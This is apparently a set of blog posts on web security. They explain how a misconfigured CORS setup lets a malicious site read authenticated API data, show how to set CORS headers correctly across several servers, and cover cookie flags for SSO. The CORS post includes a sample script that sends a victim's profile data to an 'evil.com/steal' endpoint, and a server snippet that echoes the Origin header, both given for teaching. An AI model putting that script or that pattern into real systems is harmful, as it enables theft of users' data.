The attacker hijacks your authentication credentials (your cookie) – and uses that to call a sensitive API. If the API is callable from ‘all origins’, then it doesn’t care that it was evil.com javascript that called it. As long as it has the auth credentials (which is does, because the hacker hijacked those from your cookie),  then – the attacker  essentially calls the API and retrieves the data FROM HIS OWN SITE (evil.com). See details below.

How Can a Hacker Abuse Poor CORS Configuration?

Let’s walk through a realistic example, step by step.

Setup

You have:

• A frontend at https://my.website.com
• An API backend at https://api.website.com

The backend allows:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true  ← Invalid and dangerous

Or worse — the server dynamically reflects the Origin header without validation:

res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
  

The site uses session cookies for login. When a user logs in, their browser stores a cookie like:

Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=None

That cookie is automatically included in all requests to https://api.website.com.

Step-by-Step Attack Scenario

1. The user logs in

A user visits https://my.website.com, enters their credentials, and logs in successfully. The session cookie is now stored in their browser.

2. The user visits a malicious site

The user later visits a hacker-controlled site like https://evil.com.

This site hosts a hidden script:

<script>
fetch("https://api.website.com/user/profile", {
  method: "GET",
  credentials: "include"  // Include session cookie
})
  .then(res => res.json())
  .then(data => {
    // Send stolen data to the attacker's server
    fetch("https://evil.com/steal", {
      method: "POST",
      body: JSON.stringify(data)
    });
  });
</script>
  

3. What happens under the hood

Because the browser has a valid session cookie for https://api.website.com, it automatically includes it in the request from evil.com.

The browser sends:

Origin: https://evil.com
Cookie: session=abc123

The backend — misconfigured to accept * or blindly echo back the Origin — replies with:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

The browser sees that the CORS headers match, so it delivers the sensitive JSON response from your backend to the attacker’s JavaScript on evil.com.

4. Exfiltration complete

Now the attacker has access to:

• The user’s profile data
• Their account settings
• Possibly even PII or financial records (depending on your app)

All without ever prompting the user.

Real-World Consequences

Poor CORS setups have led to:

• Account takeovers by leaking session or auth information.
• Credential stuffing using stolen tokens.
• Reconnaissance of internal APIs by observing API behavior.
• Cross-site leakage of financial or healthcare data.

Proper CORS Protection to Prevent This

Here’s how to protect your users:

• Always validate the Origin header against a list of trusted domains.
• Never use Access-Control-Allow-Origin: * together with credentials.
• Only set Access-Control-Allow-Credentials: true if you’re sure the origin is trusted.
• Don’t echo Origin unless you’re verifying it against an allowlist.

Example using Node.js and Express:

const allowedOrigins = ['https://my.website.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  next();
});
  

The post How Can a Hacker Abuse Poor CORS Configuration? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

Why CORS Is Important (And How to Secure It)

What is CORS and why is it important?

CORS (Cross-Origin Resource Sharing) is a browser security feature that restricts web pages from making requests to a different domain (or origin) than the one that served the web page.

It’s important because it:

• Prevents malicious websites from reading sensitive data from other sites.
• Ensures that only trusted domains can interact with your API or backend resources.
• Allows controlled flexibility for legitimate use cases like third-party integrations.

What is a “cross-origin” request?

A cross-origin request happens when the origin (scheme + domain + port) of the frontend differs from that of the backend.

Example:

Frontend: https://my.website.com  
Backend: https://api.website.com  
  

How does CORS work behind the scenes?

When your JavaScript code tries to fetch data from a different origin, the browser:

1. Sends a preflight OPTIONS request to the server.
2. The server responds with headers like:

   Access-Control-Allow-Origin: https://my.website.com
   Access-Control-Allow-Methods: GET, POST
   Access-Control-Allow-Headers: Content-Type
         

3. If allowed, the browser proceeds with the actual request.

What happens if CORS is misconfigured?

If your server sends headers like:

Access-Control-Allow-Origin: *

Then any website in the world can make API requests to your backend. This is dangerous if:

• Your API exposes sensitive data.
• The API uses cookies for authentication.
• You assume only your frontend will access the backend.

How can a hacker abuse poor CORS configuration?

1. The backend allows all origins via *.
2. A hacker builds a malicious site that calls your API using the victim’s browser.
3. The browser sends authentication cookies automatically.
4. The attacker gains access to data, impersonates users, or exfiltrates info.

Isn’t CORS enforced by the browser?

Yes — browsers enforce CORS. However:

• Mobile apps, Postman, cURL are not subject to CORS.
• CORS is only a client-side control. You still need server-side auth.

Can CORS be bypassed?

Direct bypasses aren’t easy, but developers can open the door accidentally:

• Echoing back the request’s Origin header without validation.
• Using Access-Control-Allow-Credentials: true with * (invalid).
• Allowing all origins with wildcards like http://*.

Best Practices for CORS Security

• Whitelist exact origins — no wildcards.
• Don’t allow * if using cookies or credentials.
• Don’t blindly echo back the Origin header.
• Use additional access control (JWT, API keys, RBAC).

If Serving JavaScript from Cloudflare

If your JavaScript is hosted via Cloudflare and served to browsers at https://my.website.com, then this is the only origin that should be allowed to access your backend at https://api.website.com.

Cloudflare is not the origin — the browser origin is still https://my.website.com. So, you whitelist that, not Cloudflare’s domain.

Correct CORS Headers for This Setup

For a backend at https://api.website.com and frontend at https://my.website.com, your server should return:

Access-Control-Allow-Origin: https://my.website.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
  

Example: Server-Side Logic for CORS

// Node.js/Express example
const allowedOrigins = ['https://my.website.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  next();
});
  

Summary

• CORS is a critical security layer for browser-based apps.
• Always whitelist specific origins, especially if using cookies or auth tokens.
• Don’t use * unless you’re 100% sure it’s safe (and no credentials are involved).

CORS is your browser saying: “Are you sure this site is allowed to talk to that other one?” — don’t ignore it.

The post What the heck is CORs? Can CloudFlare help me with CORs security issues? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

A server explicitly sets CORS headers by including them in the HTTP response to a cross-origin request. These headers instruct the browser whether or not to allow frontend JavaScript from another origin to access the response data.

Example: CORS Headers in an HTTP Response

Access-Control-Allow-Origin: https://example-client.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

How to Set CORS Headers in Different Environments

1. Node.js / Express

app.use((req, res, next) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.header("Access-Control-Allow-Credentials", "true");
  next();
});

Or use the built-in middleware:

const cors = require('cors');

const corsOptions = {
  origin: "https://example-client.com",
  methods: "GET,POST,PUT,DELETE",
  credentials: true
};

app.use(cors(corsOptions));

2. Python / Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "https://example-client.com"}}, supports_credentials=True)

3. Apache HTTP Server

<IfModule mod_headers.c>
  Header set Access-Control-Allow-Origin "https://example-client.com"
  Header set Access-Control-Allow-Methods "GET,POST,PUT,DELETE"
  Header set Access-Control-Allow-Headers "Content-Type, Authorization"
  Header set Access-Control-Allow-Credentials "true"
</IfModule>

4. Nginx

location /api/ {
  add_header 'Access-Control-Allow-Origin' 'https://example-client.com' always;
  add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS, PUT, DELETE';
  add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type';
  add_header 'Access-Control-Allow-Credentials' 'true';
}

Preflight Requests (OPTIONS)

For requests that include custom headers or use non-simple HTTP methods (like PUT, DELETE), browsers send a preflight request using OPTIONS.

To support that, servers should handle OPTIONS requests and return appropriate CORS headers.

Example in Node.js:

app.options("*", (req, res) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.sendStatus(204);
});

Security Note

Avoid using:

Access-Control-Allow-Origin: *

if you’re sending cookies or Authorization headers. In such cases, use a specific origin and also set:

Access-Control-Allow-Credentials: true

Using Cloudflare to Maintain a Dynamic Origin Whitelist

If your API is hosted behind Cloudflare, you can use Cloudflare Workers or Cloudflare Gateway Rules to dynamically control and enforce CORS logic at the edge — before the request even reaches your origin server.

Example Using a Cloudflare Worker

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request));
});

const allowedOrigins = [
  "https://example-client.com",
  "https://admin.example.com"
];

async function handleRequest(request) {
  const origin = request.headers.get("Origin");
  const response = await fetch(request);
  const newHeaders = new Headers(response.headers);

  if (allowedOrigins.includes(origin)) {
    newHeaders.set("Access-Control-Allow-Origin", origin);
    newHeaders.set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
    newHeaders.set("Access-Control-Allow-Headers", "Authorization, Content-Type");
    newHeaders.set("Access-Control-Allow-Credentials", "true");
  }

  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: newHeaders
  });
}
  

This gives you full control over origin validation and CORS behavior at the network edge, improving performance and offloading logic from your app servers.

You can even maintain the whitelist in a KV store or external API and update it dynamically without redeploying infrastructure.

The post Preventing CORS – Server Explicitly Sets CORS Headers for an HTTP Request versus CloudFlare appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

In an outbound Single Sign-On (SSO) scenario, a user logs into Site 1, which then authenticates access to Site 2. During this flow, authentication credentials or session tokens are often stored in browser cookies. These cookies become a critical security asset—and must be protected from interception, misuse, or cross-site attacks.

To ensure cookies are secure in transit and at rest, the following HTTP header attributes should always be applied:

Essential Cookie Security Flags

• HttpOnly
  Prevents client-side JavaScript from accessing the cookie. This mitigates the risk of XSS (Cross-Site Scripting) attacks.
  Set-Cookie: sessionId=abc123; HttpOnly
• Secure
  Ensures the cookie is only transmitted over HTTPS connections—never in plaintext over HTTP.
  Set-Cookie: sessionId=abc123; Secure
• SameSite=Strict or SameSite=Lax
  Protects against CSRF (Cross-Site Request Forgery) by restricting how cookies are sent with cross-site requests.
  Use SameSite=Strict where feasible.
  Use SameSite=None; Secure only if cross-site requests (like SSO) require it.
  Set-Cookie: sessionId=abc123; SameSite=Strict

Additional Best Practices

• Set Short Expiry Durations (Expires or Max-Age)
  Session cookies should expire quickly after inactivity to reduce risk.
  Set-Cookie: sessionId=abc123; Max-Age=3600
• Use a Strong, Random Session ID
  Avoid predictable values. Use high-entropy tokens (e.g., UUIDv4 or securely generated hashes).
• Enable HSTS (HTTP Strict Transport Security)
  Forces browsers to only use HTTPS—protecting cookies from downgrade attacks.
  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
• Regenerate Session IDs on Login
  Prevents session fixation by issuing a fresh cookie after successful authentication.
• Monitor and Invalidate Compromised Tokens
  Use backend session tracking to detect anomalies (IP switching, multiple logins) and invalidate risky tokens.

A Note on Cross-Domain SSO Cookies

In SSO from Site 1 → Site 2, if you’re using cookies across different domains (e.g., site1.com and site2.com), the SameSite attribute must be set to None, and the Secure flag must be present:

Set-Cookie: sso_token=xyz789; Secure; SameSite=None; HttpOnly

Be very cautious: this makes the cookie accessible cross-site, so strong protections must surround its issuance, transmission, and revocation.

Final Thoughts

Cookies are deceptively simple—but a poorly secured cookie is an open invitation for attackers. Especially in SSO workflows, where trust is extended across sites, cookie hygiene is non-negotiable.

Use Secure, HttpOnly, SameSite, and HSTS—and rotate, monitor, and expire aggressively.

The post Securing Browser Cookies in Outbound SSO: Best Practices appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

Basically, go into the advanced tab on the ‘clear browsing content’ – and pick ‘Site Settings’

The post From Chrome, clear a specific site’s cached content appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

CTRL F5 reloads the page afresh, without checking the cache. Nifty shortcut.

The post Browser Reload without retrieving cached pages appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

The easiest solution was to use browserstack – they create a cloud based VM for your testing – and do everything from that VM. You have to do nothing except type in the URL you are trying to test.

The post IE compatibility testing–Internet explorer appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.